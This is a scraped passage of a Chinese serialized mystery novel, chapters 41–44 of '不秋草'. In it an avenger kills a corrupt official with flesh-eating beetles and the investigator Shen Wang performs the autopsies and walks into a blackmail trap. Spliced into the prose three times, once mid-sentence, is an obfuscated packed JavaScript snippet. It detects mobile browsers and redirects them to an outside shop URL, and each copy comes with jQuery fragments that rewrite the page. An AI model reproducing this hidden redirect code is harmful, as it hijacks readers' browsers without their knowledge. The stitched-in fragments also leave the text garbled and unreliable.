虫群如同一团团黑雾还在孙同知的身体上涌动。它们在他的七窍里钻进钻出，终于将他的身体蛀成了一个空壳。失去了肌肉和脂肪的支撑，孙大人的皮囊凹陷下去，轻飘飘的，如同一具被雨水浇烂的纸人。 晏回站起身，厌恶地踢了踢孙大人的尸体，尸体发出“哗啦”一声，如同回应。 “晏姑娘，时辰到了，咱们走吧！”始终坐在牛车车辕上的楚庸低声提醒道。 闻言，晏回冲唐珠儿点了点头。唐珠儿从怀中掏出一个小瓶，敞开瓶口，只见无数铁嘴虫如同得了号令一般，排着队没入了瓶中。不消一水刻，方才还铺天盖地的虫群，就尽皆钻入那巴掌大的宝瓶里。 唐珠儿一扬下颌，嬉笑道：“走着！” 牛车驶离了胡同，只留下孙同知枯槁的尸体躺在惨白的月光里，脸上还凝固着最后一丝惊恐。风吹过，卷起几片虫蛀的谷壳，落在他黑黢黢的眼眶上，如同替他添了一双灰败的眼瞳。 41. 不秋草（六） 冷峻血腥的夜倏然而逝，迎接济南府的又是第二天崭新的日头。华不注山下，莲子湖畔，一素衣女子垂首而坐，宛若画中仙。 晏回凝着水面倒映出的桃花面，心中思绪纷飞。 昨夜，他们顺利地解决了潜藏在济南府的鹰巢一员——济南府同知孙世庸。亲眼看着他从大腹便便到人皮一摊，着实痛快。可短暂的畅快之后，更加浓郁的怨恨与愤怒再次将她团团裹住。 同那位裘县令一样，这位孙同知也只是棋盘上的棋子，鹰巢之中再寻常不过的小卒，他们的生或死，于庞大的鹰巢组织而言无关痛痒。即便她能杀死再多的张同知、王同知、李同知……也无非是替鹰巢换了一遍血，引得他们吸纳更多的奸佞小人罢了。 触及鹰巢的上层尚且如此艰难，更遑论辨别出真正的“蜮公”了。 指尖微微扣紧，琥珀色的眸子染上一丝近乎疯狂的冷意，某些更加危险、更加残酷的想法呼之欲出。晏回定定地凝着自己苍白的掌心，自三年前的那个雨夜开始，这手中便空无一物，她又有何惧…… 突然，湖面传来哗啦一声，一尾金色的鲤鱼跃水而出，少女欣喜的欢呼声，男子志得意满的轻扬笑声随之传来。 循声望去，只见在离晏回不过数步远的柳树下，范凌舟、唐珠儿、楚庸正聚在一堆，戴着斗笠，披着蓑衣，扮作渔人样子，兴致勃勃地挥动鱼竿，向路人展示着刚钓上来的锦鲤。 “各位路过的大娘大姐，老少爷们儿，瞧着了吗！金尾鲤鱼！刚出水的，还热乎着！您喜欢！？嘿嘿，多少钱俺都不卖！”唐珠儿操着不知从哪儿学的方言，笑得嘎嘎作“响”。 楚庸脸上也尽是笑意，只不过被路过的人侧目还是让他有些尴尬，笑容之中添了些许犹豫，可初遇之时刻骨铭心的恨意却是消泯不见了。 将鲤鱼钓上来的正是范凌舟，只见他挺直了腰板，扬起了下颌，笑得天朗气清，配上他那纤尘不染的雪白道袍，像极了一只雄赳赳气昂昂的白孔雀。此时，他正解下鲤鱼嘴上的鱼钩，将锦鲤小心翼翼地放入一位女子的鱼篓之中。 那位女子晏回瞧着眼熟，定睛一瞧，正是数日不见的青杳。晏回揉了揉近些日子来昏涨的额头，心中暗道：杳娘也到观里来了吗？这是何时的事情了…… 范凌舟刚将鲤鱼放入青杳的鱼篓，便感受不远处投射而来的视线，他施施然直起身，冲着晏回粲然而笑。他如何不知心悦之人的心思，又如何不理解她痛彻心扉的恨意，是以日日照拂，时时关照，眼瞧着她神色郁郁的湖畔独坐，便拉扯着珠儿、楚庸一道，一边钓鱼，一边遥遥地伴着她。 此时，见晏回也瞧着了自己，范凌舟便不再掩饰，逗猫儿般冲着唐珠儿晃了晃鱼竿：“想不想自己试试？” “想想！要要！”唐珠儿一个饿虎扑食，将鱼竿抱在怀里，学着方才范凌舟的样子，有模有样的钓起鱼来。 “楚兄，你盯着她，别让她掉水里。”范凌舟叮嘱道。 “无鱼兄你放心，便是我掉水里也断不会让珠儿姑娘掉进去。”楚庸拍着胸脯应了。 安排停当，范凌舟抬步向晏回走去。 晏回眸色轻缓，只是盯着莲子湖荡漾的水波道：“青杳何时入了观中？” “自薛负亡故，青杳同薛家已是不共戴天之仇，她回娘家住了些时日，哥嫂却不怜惜，便在前日投奔观里，正巧让楚兄撞见。”范凌舟挨着她坐下，压低声音，如同亲昵耳语，“我思量着，杨婶儿做饭难吃得紧，后厨正缺人手，咱们和青杳姑娘也算是知根知底，不如收进观来，给她个容身之所。” 晏回微微颔首：“嗯，也好。” “那你呢，西楼，你好不好？” 晏回一怔，转头去看，只见范凌舟白生生的面孔微微歪着，墨画般地眉眼弯成好看的弧度。晏回沉默半晌，挤出一丝略带苦涩的笑：“我……两手空空之人，又有何好或不好……”她极不习惯将话题引在自己身上，迅速地转移了话头，“关于鹰巢的事查得如何了？” 范凌舟敛去面上一闪即逝的担忧之色，温声道：“这位孙同知比裘县令要有用得多，已然算得上是鹰巢中人，我在他的书房中发现了一方印信，无字，却画有一熊罴，想来便是他在鹰巢之中的代称。” 说即此，范凌舟不由笑了起来：“此番，熊罴化作熊皮，定能震慑鹰巢一二。” 晏回没有笑，相反，她细长的柳眉微蹙，凝成一个“川”字：“我要的不仅仅是震慑……我要将他们连根拔起。” 滔天之仇，不泯之恨，化作女子眸中凛冽的眼波，深不见底。范凌舟相信，如果此时那神秘的蜮公就站在他们的面前，晏回愿意用手中的一切换取蜮公惨死当场。他看得分明，孙同知和裘县令是蜮公掌中的棋子，他范凌舟又如何不是晏回手中的匕首呢？自二人相遇的那日起，晏回从不惮于掩藏自己真正的目的，范凌舟也向来摆得清自己的位置，这正是他们二人能合作无间，走到今日的重要原因。 可为何，他还是不免失落呢…… 范凌舟压下唇边即将溢出的叹息，微微一笑：“西楼，我明白你的心思，捣毁鹰巢，击破蜮公不是一蹴而就之事，我们必须要从长计议。” 晏回垂着头，很难说清她是否听见了范凌舟的劝诫。范凌舟不愿催逼，便静静等着对方的反应。忽然，晏回抬眸，目光如刀，扎在湖面上的一点。 “沈忘。”她吐出两个字。 范凌舟一怔。 “去查沈忘。” “那个沈按察？他的风评可一向——”范凌舟噎了一下，把后面半句话咽了回去。他并不想因为一名官员反驳晏回，可那沈忘为官多年，从无行差踏错，破获奇案无数，尤其是在济南府极得民心，据说当今性格乖戾的天子也视他为帝师，甚为信任。前有海刚峰，后有沈无忧，这样的官吏，会与鹰巢有什么关系？ “大伪似真，大奸似忠……”晏回冷冷道，“我谁也不信。” * * * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184841|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈忘突然剧烈地咳嗽起来，一旁的柳七褪下手套，轻轻在他的后背上拍抚。越过沈忘梳得一丝不苟的发冠，柳七的眼神隔空和霍子谦一撞，霍子谦赶紧解释：“柳姑娘，我都盯着沈兄喝的，一……一滴都没剩。” 沈忘一边咳，一边摆手：“不怪子谦，药我都按时用的，只是……” “只是？”柳七蹙眉凝着他。 “只是昨日偷食了两只蟹。”沈忘咳得脸色发红，眉眼却是笑着的。 “河蟹性冷，岂能——”柳七叹了口气，环顾四周，也只得暂且压下心火，重又带上手套。此时，三人正身处历城县衙的敛房之中，皆身穿白色布衣，捆扎好袖口裤腿，口含苏合香，面前的两张尸床上，分别躺着两具男子的尸体。一具躯体微微隆起，将其上披着的白布单顶起；另一具躯体却骤然下陷，平坦得仿佛布单下空无一物。 此情此景，的确不是训诫沈忘的时机，柳七无奈摇了摇头道：“罢了，我们先将尸检完成，‘偷’蟹之事容后再说。” 闻言，无论是沈忘亦或是霍子谦都不由得长舒一口气，将目光重新聚焦到面前的两具尸身之上。尸床上的二人，正是这些日子来济南府惨死的官吏，历城县衙的裘县令与济南府同知孙世雍。裘县令被铁钎钉在树上，血尽而死；孙同知死状则更为凄惨，被人发现时早已化作一张铺在骨骼上的薄薄人皮。 打更的老头儿本以为那是谁家遗失的布帛，待看清之后，吓得差点儿昏死过去，连滚带爬地奔去县衙报了官，一个时辰内，尸体便被沈忘要了来，由他最信任的柳七负责尸检。 柳七掀开白布单，一旁的霍子谦不由得倒吸一口冷气，沈忘虽无震惊之色，但眸光也不免凛冽起来。白布下的躯体平平展展，如同一张画皮。只是这画皮失却了鲜妍的色泽，徒留一层灰败之感。 沈忘微微倾身，细细辨别着尸身仅存的肌理，忽地，沈忘长眉一跳：“这是……” 只见尸身上遍布细密的孔洞，那孔洞极其微小，几不可见，若是不仔细探查，会将那密密麻麻的孔洞误认为是尸体本身黯淡的肤色，可见其孔洞之密布，其数量之惊人。 “如果我没有看错，这些孔洞应该是虫噬之故。”柳七一边说，一边指向尸身豁然洞开的胸腔，“无忧你看，脊椎与肋骨连接处的软骨已经消失，正常的殴打外伤都无法磨损到这一处软骨，因此，它们应当是化作了虫群的饵料，被虫群吞噬殆尽。” “老天爷……”身后的霍子谦一边奋笔疾书，一边忍不住喟叹。 “也就是说，这位孙同知是被虫群活活吃掉的……”沈忘皱眉深思，“这般酷烈的痛楚，绝非常人能忍，定然应失声痛呼才对。夜深人静之时，竟无一人察觉异样，只有两种可能。第一，打更老人发现尸体的地方并非是凶案发生之地，孙同知乃是死后被带至巷口，抛尸于此；第二，孙同知被人点了哑穴，制住了行动，让他有口不能言，有腿不能跑，清醒而绝望地死于虫群的撕咬之中。” 42. 不秋草（七） “这世间竟有这种狠厉的蠹虫吗？我……我从未听说过……”霍子谦一边说，一边哆哆嗦嗦地绕着沈忘和柳七走来走去，时不时挥动手臂，似乎在驱赶着什么。 看着霍子谦紧张兮兮的样子，沈忘不由好笑，作弄道：“子谦，你不用替我和停云担心，倒是你，皮肤细嫩，光滑白皙，肥瘦合宜，定是哪些‘怪虫’眼中的美味珍馐，你要小心才是。” “是……是这样吗！？”霍子谦又惊又怕，赶紧从上到下在自己身上扑打起来。 待他像个老鸦呼扇翅膀一般折腾了半天，才注意到沈忘和柳七唇边忍俊不禁的笑意，脸色一红，嘟囔道：“无忧兄弟又唬我……” 沈忘奸计得逞，也不恋战，转首对柳七正色道：“停云，能否辨别出这究竟是哪一种怪虫？” 柳七沉吟片刻，缓缓摇头道：“只从口器的形状来看，很难，不过……”她眸色一亮，以指按压尸身的左腮帮骨角，“木撑、铜镜、骨凿！” 沈忘赶紧俯身，从一旁的仵作箱箧中寻出木撑和骨凿递给柳七。柳七以木撑扩开尸身口腔，将镜面探入死者口中——只见后腮内壁已呈青紫，紧里的臼齿后有几处细如牛毫的破口，随着镜面的反射隐约可见。 “果然……”柳七深吸一口气，将银制的镊子顺着破口刺入，仅入半寸便触到阻碍。“此处肌理众多，骨骼坚硬，怪虫一旦进入便极难逃脱，无忧，把这里凿开，下手轻些。” 沈忘闻言，顺着柳七双臂的空隙探身进去，鼻尖儿几乎贴着尸身洞开的大嘴，屏息凿动起来。 凿击声并着液体鼓动声在静寂的敛房中回荡不绝，霍子谦只觉这声音化作尸体的腐臭味儿，直冲他的天灵盖。一股酸水翻涌上来，他使劲咬了一下舌尖，借着痛楚把酸水压了下去，手中狼毫笔不停，不多时，尸格已密密麻麻录满。 这边厢，沈忘和柳七配合默契，骨凿贴着颊车骨的骨壁轻撬，只听“咔”一声轻响，一小块带血碎骨脱落，露出骨骼与腮肌间的一小块空隙。在空隙之中布满了乳白色的黏液，黏液之中包裹着一个米粒大小的虫尸。 “竟然是铁嘴虫！” 三人围拢在一起，盯着那自口腔中取出的虫尸。在铁嘴虫腹部鼓胀，把虫壳撑得几乎要破开。 “不应该啊，这虫子不是应该吃……呕！”霍子谦正准备讨论两句，却不料柳七突然出手，刺破了虫尸肿胀的肚子，流出了一摊白黄相间的脓液。霍子谦本就被这场景顶得脑仁疼，这下再也忍不住，冲到敛房外呕吐起来。 沈忘对好友的“脆弱”早已习以为常，接过霍子谦的话头，继续道：“铁嘴虫乃是仓储之虫，喜食麦谷，可看这虫尸肚腹中的残留，竟是以人为食，实在是闻所未闻。” “这只铁嘴虫是误入颊车骨深处，被肌理血管缠绕，它唯有拼命吞噬周遭的肌理脂肪，想要逃出生天，最终反被撑死在此处。”柳七补充道。 “如此凶悍，想来是异人术士专门豢养而成。”沈忘浓眉紧蹙，沉声道，“手段这般酷烈，若是放任不管，今后必成大患。” 沈忘盯着那具残破的虫尸，半晌无言，突然他眸光颤了颤，看向并排躺在一起的两具尸身。 “无忧，可是有了计较？”柳七问道。 “《俱舍论》有载，众合地狱者，有大石山，高六百由旬，两两相对。罪人入中，山即合拢，堆压其身，骨肉糜碎，或有铁杵、铁臼，捣研其身，血肉淋漓……而《长阿含经》中也曾提及，众合地狱有十六小狱，其五曰‘铁嘴狱’，有铁嘴虫，唼食皮肉，彻骨达髓，苦毒辛酸，忧恼无量……” 此时，从外面走进来的霍子谦正巧听到沈忘的推论，恍然大悟道：“我明白了，沈兄的意思是，这裘县令和孙同知的死法，皆暗合了佛经中对于众合地狱中刑罚的记载。一个是铁锨贯身，一个是铁嘴食肉！”说到“肉”字，霍子谦情不自禁地一哆嗦，赶紧捂住了自己的嘴。 “没错，这些日子来，我彻查了裘县令上任至今经手的案子以及往来账目，便知那笏板上所写内容绝非虚言。裘县令为贪墨良田，不惜逼死佃农，胁迫豪族，早就为众人所愤恨。他断了百姓的活路，便受铁床狱之刑。而这位孙同知，只怕也犯有相应的罪行……”沈忘缓缓起身，推开敛房的窗户，清新的空气扑面而来，吹散了敛房中浓郁不散的尸臭。 “他们是将自己看作了来自地府的判官啊……” 秋暮的凉风吹起沈忘青色的直襟，灌满他的衣袖，从柳七的角度看过去，背对着她的沈忘如同一只振翅欲飞的鹤，她听见他低声呢喃：“人间公门若清明，何须地府判官妄断案呢……终究是本官的失职啊……” 柳七心头一黯，十余年的朝夕相伴，沈忘的呕心沥血她又岂能不知。可惜这天下之大，又如何能百案尽断，千罪皆消呢？她正欲宽慰两句，却见对方回转过身来，脸上又露出她熟悉的成竹在胸的笑容。 “便让我这人间的按察同那地府的判官斗一斗，看看谁才配坐这三尺公堂。” “既然凶手在替那些被贪官迫害的人复仇，而且对每个受害者的罪行了如指掌，那他要么是当年的受害者亲属，要么便是能接触到官场秘辛之人，亦或者两者兼而有之。子谦，将这孙同知的过往案卷与往来账目书信通通调来，我要一一过目。” “停云，接下来与此案相关的尸身，无须过问皆可剖验，若有衍罪，本官一力承担。” 透过敛房的明窗，沈忘极目而望：“接下来我们要比的，就是时间了。” 多年的默契，让柳七和霍子谦立刻行动起来。历城县衙的三班衙役沈忘用不顺手，正欲借此机会，将自己手下的副使、佥事、司狱等调来便宜行事，却不料当日晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184842|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些时候，历城县衙便迎来了一位上官。 “敖大人。”沈忘俯身拱手。 “沈大人，免礼免礼！”面前立着一位身高不及沈忘肩膀，笑容满面的小老头儿，正是从二品的布政司主官——敖远敖藩台。堂堂二品大员，这敖远竟着一身打了三四个补丁的官服，一侧袖口磨出了毛边，另一侧袖口干脆磨破了口，官服的小臂处有一圈可疑的浅白色污渍，怎么看怎么像偷穿了戏服的老乞丐。 还不待沈忘直起腰，敖远又急急地开口了：“沈大人，这衙署的烛火也太亮了些，一根烛便能照见人影，何必浪费第二根呢？沈大人，圣上治国艰难，你我为官也该……” 沈忘冲霍子谦使了个眼色，霍子谦赶紧小跑了两步，踮起脚尖吹烛台。这“呼”地一声下去，烛火顿时灭了，正堂只剩半明半暗摇晃的光影，倒比敛房的气氛还添了几分诡异。 “嗯——”敖远拉长了鼻音，“沈按察知错就改，善莫大焉。” 沈忘不由苦笑，早就听说这位布政使大人节俭清廉之风世所罕见，沈忘与他互不统属，所以未曾深交，今日一见，果然闻名不如见面。 “敖大人，下官忙于查案，有失远迎，还请大人见谅。” “诶——本官此番前来，正是为了此案。” “哦？”沈忘长眉微挑，笑容中多了几许警惕之意，姿态有礼地一摆手：“既是与查案有关，那还请敖大人内堂一叙，下官备了些粗茶……” 沈忘的话又一次被打断，只见敖远大手一挥：“茶就免了！本官自家晾晒的荷叶亦可入茶，不如沈大人一道尝尝。” 沈忘艰涩地吞咽了一口唾液，无奈道：“也好。” 对坐少叙，原来布政使敖远此番前来，正是为了裘县令与孙同知相继身死一事。两位朝廷命官接连殒命，朝廷震动，着山东三司官员会审办案，以提刑按察使司主官沈忘为主导，承宣布政使司主官敖远督办，都指挥使司从旁协助，务令凶犯伏法，以儆效尤。 “本官与孟威孟知府商量了一下，为能解沈按察僚属不敷之忧，由我做主，举推二员，听候沈大人差遣。”敖远顿了顿，捋着长须又强调道，“此二员往来车马廪给，皆由本布政使司依例支给，自不会劳烦沈大人。” 打了补丁的官袍在案几上划过，哗啦作响。敖远前倾着身子，格外热忱：“沈大人，你看……” 这位敖远敖大人甫一到任，案子未看，公堂未升，连卷宗都未曾了解，倒是先打点安插了两位官员，这胳膊伸得当真是长了些。只怕自己查这连环凶案，不仅要跟凶犯斗智斗勇，还要受这些同僚们拉扯钳制，更要难上加难。 偏偏沈忘其人，与天斗与地斗与人斗，其乐无穷，未曾怯战。沈忘满饮一杯敖大人自带的荷叶茶，当下便笑应道：“敖大人费心了，大人一片公心，下官何乐不为。” 43. 不秋草（八） 济南府的剪子巷，是霍子谦霍经历除了按察司的官衙外最常去的地方。 自追随沈忘成为历城县衙的师爷，后又伴沈忘远赴苏州赴任，最终兜兜转转，又回到了济南府成为按察司经历，奔山踏海，几经荏苒，他还是独爱剪子巷的市井烟火。 被南来北往的草鞋布履摩挲得光可照人的石板路，挨挨挤挤、人声鼎沸的酒肆布庄，牛肉烧饼独有的肉汁儿混杂着芝麻的焦香，饮一碗便肠胃热腾腾暖起来的甜沫铺子，摇晃着拨浪鼓售卖针头线脑、胭脂水粉的货郎，还有那永远不愁没看客，唾沫星子满场飞的说书先生，这一剪子巷的浮世长卷，始终熨帖在霍子谦心底最暖意融融的地方。 可今日，却是变了味道。 日头刚过晌午，正是剪子巷最热闹的时候，霍子谦却觉得后背发紧，像有一根无形的针，隔着人群刺得他皮肤发烫。他袖中还攥着刚从药铺抓得草药，脚下布履匆匆，眼角余光小心翼翼地扫过身后的人群。挑着菜担的老农……抱着孩子的妇人……摇着折扇的书生……都是些再寻常不过的面孔，一旁卖糖葫芦的花增光还热情地同他招手，可那道视线却如影随形，冷得霍子谦起了一身鸡皮疙瘩。 直觉告诉霍子谦，不能再等了，他敷衍地和花增光一点头，矮身垂首，迅速转入了一旁的窄巷之中。那巷子极窄，仅容一人通过，两侧是斑驳的砖墙，从砖缝中钻出一丛丛蓬草瓦松，被霍子谦紧倒的双腿蹭得“刷刷”作响。他跑得急，冷不防巷口转出一个人影，两人撞了个满怀！ “哎哟！”对方痛呼一声，怀里的布包摔在地上，滚出几个油布裹着的药包。 “咝——”霍子谦也被撞得后退半步，袖中装草药的纸包散开，甘草、麦冬撒了一地。 “对不住，对不住！”霍子谦慌忙去扶，却见对方勾着头不敢瞧他，直瞅了一眼他的官袍，便唬得脸色惨白，一叠声道，“大……大老爷，小的不是故意的……” “无妨无妨……”霍子谦一边说，一边把男子散落的布包递还到他手里。男子一把将布包抱在怀里，匆匆行了个礼便跑了。霍子谦立在原地，听着脚步声消失在巷尾，又等了片刻，确认那道“视线”没有再次追来，方才松了口气。 “许是近来查案太紧张，倒有些草木皆兵了……”霍子谦自嘲地笑了笑，抬手拂去身上的墙灰。自打裘县令、孙同知接连横死，沈忘带着他们扎在历城县衙，连轴转了半月，他夜里总梦见钉死的尸身，塌陷的人皮，黏液中的虫蠹，白日里也难免神经过敏。 他刚欲抬步，却隐约觉得腰间有一硬物，垂头看去，腰带上不知何时多了一个折叠得极小的纸包。 霍子谦大气儿不敢说，就着窄巷中投射下来的晦暗天光拆开纸包，只见里面只有一行字：汝妻之秘辛，吾已尽知。今夜亥时，城南乱冢孤身赴约。 剪子巷北口的望岳楼二层雅间，一扇雕花木窗半掩着，一名男子的身影隐约可见。从这个角度看过去，剪子巷中的情形一览无余。 眼瞧着霍子谦慌慌张张地打开纸包，又慌慌张张地从巷口奔了出去，中间左腿绊右腿，一个趔趄差点儿摔倒。男子的唇角一勾，露出一个轻蔑的笑。 与上峰的谨小慎微不同，他对这位天下闻名的沈按察不屑一顾，而巷子里没头苍蝇般的霍经历则更是入不得他眼。借助经年旧事，只是略作挑弄，这位霍经历就怕成这般模样，可见他与沈忘早有嫌隙，只是碍于沈忘职位与名望，不敢造次罢了。 想及此，他愈发自得起来，心中暗道：那裘三、孙四死得虽惨，却是不冤。能被这帮蠢笨之徒斗得狼狈不堪，便是活着又有甚用处？不若将位置让给我，让给真正有本事壮大鹰巢之英才。 这般想着，胸中快意如潮涌，男子脸上绽开笑容，竟是抑制不住笑出声来。 以此同时，望月楼下的糖画摊子上也传出了一声嗤笑。 正在做糖画的老头儿被范凌舟笑得手一抖，有些幽怨地看向他。范凌舟赶紧赔笑道：“老丈，我不是笑你，我是想到了一件有趣的事情。” 他的双眸始终盯着楼上窥视的男子，心中暗道：本是奉西楼的命令来盯那霍经历，没想到还有意外之喜。螳螂捕蝉，黄雀在后，我倒要看看这男人葫芦里卖得什么药。 “那这画坏了的卖给你。”老头儿哪知道范凌舟心中所想，自顾自气冲冲道。 “买买买，我先赊着，月底您去长生观找晏姑娘支银子。”眼瞧着望月楼二层雅间的木窗缓缓阖上，范凌舟嘴上一边敷衍着，一边谨慎地望向望月楼隐蔽的侧门。 “道长你也是，身上连一块铜板都支不出来吗？每一次都……诶？”只见那雪白的袍袖一卷，画坏的糖画儿就悄然无声地被范凌舟拿了去。而那雪白如鹤的身影只是一闪，便飘然远去。 * * * 霍子谦微微掀开轿帘，从缝隙中望了一眼那似乎永远没有尽头的漆黑小路，手像被烫到一样，迅速缩了回来。 柳七凝了他一眼，温声道：“霍兄莫怕，我同无忧离你不过数步之遥，对方但有异动，我自会出手，保霍兄安全。” 柳七说了“我”却没有说“我们”，沈忘闻之，也不赧然，笑道：“是啊子谦，你放心，有停云和轿外的好汉们盯着，便是大内高手也不敢妄自托大。” 如同回应沈忘的话语一般，轿子轻飘飘地向上抬起，让三人如坐云端。 霍子谦垂下脑袋，搓了搓手：“无忧兄弟，柳仵作，我……并不是担心自己的安全，而是……” “而是担心南菀姑娘？” 霍子谦重重地点了点头。 “菀儿命苦，十四年前碰上那般祸事，逼得她改名换姓，远走异乡。去年又痛失兄长，无依无靠……” “可她现在有了你啊——”沈忘的声音温暖柔软，带着宁和的笑意，“你同南菀姑娘伉俪情深，如胶似漆，虽不能说彻底抚平她这些年经受的辛酸苦涩，但也足以令她重新振奋，不必再困扰于前尘。子谦，你放宽心，那年的案子是我判的，无论结果与否，我一力承担，绝不会让南菀姑娘作难。” “还有我”，柳七笑着看了沈忘一眼，“我是验尸仵作，定案尸格上签录的也是我的名姓，又岂能将我择出去？” 沈忘刚想开口，却感到柳七微凉的手已经缓缓覆在他的手背上：“夫妻同心，此事就不必商榷了。” 沈忘心头一热，柳七自幼冷心冷情，喜散不喜聚，人如冰雪，心若霜菊。可那层层冰霜下覆盖的火种，那不苟言笑的外表下隐藏的真心，却始终让沈忘甘之如饴。二人默契对望，眉眼里皆是含着笑意。 对面的霍子谦见此情形，脸上的愁郁更甚，双手用力地在面皮上搓动了两下，声音闷闷地：“若是累及了你们，还不如……” ——还不如杀了我！ 这边厢霍子谦郁闷得快要哭出来，那边厢的沈忘却轻笑出声：“还不如这还不如那，倒不如兵来将挡，水来土掩，何必杞人忧天？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184843|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “子谦，停云，我们三人同微儿、清晏一道，经历万千险阻，次次皆能化险为夷，携手至今。怎地遇上这连环杀局，反而妄自菲薄了呢？” 沈忘的手笃定地在霍子谦肩上按了按：“子谦，你记着，无论如何，我们一道解决。” 霍子谦深吸两口气，将涌到鼻腔的酸涩硬生生压了回去：“嗯！” 因抬轿之人皆是绿林英豪，身怀武艺，轿子行得飞快，不多时便到了约定之地。沈忘和停云留在轿中，远远候着。而霍子谦孤身一人，走入夜色凄惶的乱葬岗之中。 已至深秋，孤坟荒冢，风嚎鬼啸，极是骇人。轿中的沈忘和柳七屏息凝神，从凄厉的风声中分辨着远处的异响。 虽然纸条上明确写着，要霍子谦孤身赴约，可沈忘和柳七怎能放心让这样一个手无缚鸡之力的书生独往？他们提前在霍子谦的颈上挂了一枚骨哨，这骨哨形制玲珑，设计精妙，一旦吹响，常人即便侧耳细听，亦难觅其踪；可耳力敏健，经过训练的鼬，纵在数丈之外，亦可辨此异响。 此次为三人抬轿的轿夫，皆为绿林豪侠，尽是三人旧识故友。其中一人，便豢养了这样一只能辨别骨哨哨音的鼬。若霍子谦遇到危险，他便会迅速吹响骨哨，被人踹在怀里藏着的鼬闻声而动，众人自会一拥而上，定能保霍子谦平安。 可不知为什么，整整三炷香的时间过去了，乱葬岗里还是寂静无声。在乱葬岗周围盯梢的暗探也传来消息，这段时间除了霍子谦本人之外，再无一人踏入这片死寂之地。 “不对劲……”沈忘轻轻抚了抚自己的下巴，眸色深湛。“先是裘县令，再是孙同知，现在又通过子谦查到了我……可我总觉得这道线连接得不甚清晰，似乎总是欠缺了一环……” “欠缺了一环？”柳七疑惑道。 “没错，裘县令逼死佃农，贪墨良田；孙同知饿死百姓，独吞赈粮，而我……为官十数年，能称得上‘污点’的，怕也只有私放南菀姑娘这一事。与此二子相比，我的错处为免有些小巫见大巫了吧？” “通过前面两起案子，我能够明显的感知到，与律法的公平公正相比，这些地府判官更在意的，是那些无法被刑律约束、规范的官场秘辛；与一文不名的寻常人相比，他们更厌恶的是那些高高在上的高官厚吏。以杀戮代替审判，以残酷制裁暴虐，以眼还眼，以牙还牙，方是他们心中认为的——正道。” “所以，他们压根不屑于通过利益交换来达成需求，更不屑于通过无辜的南菀，来威胁子谦，继而达到威胁我的目的。” 沈忘的眸光在晦暗的夜色中一亮：“我明白了！只怕给子谦掉包纸条的人，和那些地府判官们，压根不是一路人！” 柳七心头一惊，她万没想到，此役之中，沈忘除了要对抗那些神龙见首不见尾的地府判官外，还要和另一方势力角力。 “那他们是……” 话音未落，轿帘倏地掀开，霍子谦冻得惨白的脸探了进来。 “柳仵作，无忧兄，我等了许久，始终不见人啊！” 他站在空旷的乱葬岗中吹了大半夜的冷风，此刻心中又急又怕，嘴唇哆嗦得不成个儿。柳七赶紧将他让了进来，霍子谦坐在柳七和沈忘中间，抖得像片风中的枯叶。 沈忘叹了口气，轻声道：“只怕今晚是见不到人了。” “为何？”霍子谦惶急道。 沈忘抬头，凝向乱葬岗黑黢黢的深处：“因为那人已经死了。” 44. 不秋草（九） 卫光猛地睁开眼睛，下一瞬便开始不可抑制地颤抖起来。双目尚且昏聩，刺骨的冰寒便霸道地侵占了他全部的智识。 冷，实在是太冷了。 他惶惶然忆起三岁那年的冬天，大雪天里他偷溜出家门，反被胡同里的小乞丐偷了鞋。他赤脚跑回家向着父亲哭诉，时任都察院左都御史的卫父勃然大怒，以“夜犯官宅”为由，杖杀了西市十数名乞丐。 而他，抱着热腾腾的汤婆子缩在乳母怀里，从马车帘缝里偷瞄着外面洁白的雪，鲜红的血。 “我卫家子孙，只有让人怕的份，断没有受委屈的理。”这是他父亲教给他，最笃定的家法。 而如今，又是谁，胆敢让他经受这般刺骨酷寒，他定会让对方付出代价！ 视野中的白翳逐渐消散，卫光终于看清了身处何地。 这里竟是一座巨大的冰窖，目之所及，皆是堆叠垒砌的三尺厚冰砖，烛火明明灭灭，带着冰面反射的刺目的白，照进他的眼瞳里。 “来人——来人啊！”他嘶声大喊道。喉咙干渴得厉害，他忍不住抬手去抚，下一瞬，尖锐的疼痛感骤然腾起，让他发出一声惨嚎。 定睛一看，他四肢虽能动作，可周身竟悬吊着数十根菱形冰锥，锥头微微犯蓝，让人见之生寒，寒而生怖。冰锥分作三层，上层对准咽喉、心口、百会三穴，中层锁住肩井、曲池、血海诸脉，下层则对着脚踝、膝弯、尾闾，每一根都堪堪抵着皮肉半寸之地，只要稍一动作，冰锥便会割裂皮肤，刺入肌理之中。他竟是被困在这座由冰锥组成的尖锐囚牢之中！ “救命啊！来人啊！救命！”与生俱来的傲慢终于被惊恐击破，卫光哪还顾得上口干舌燥，放声高喊起来。 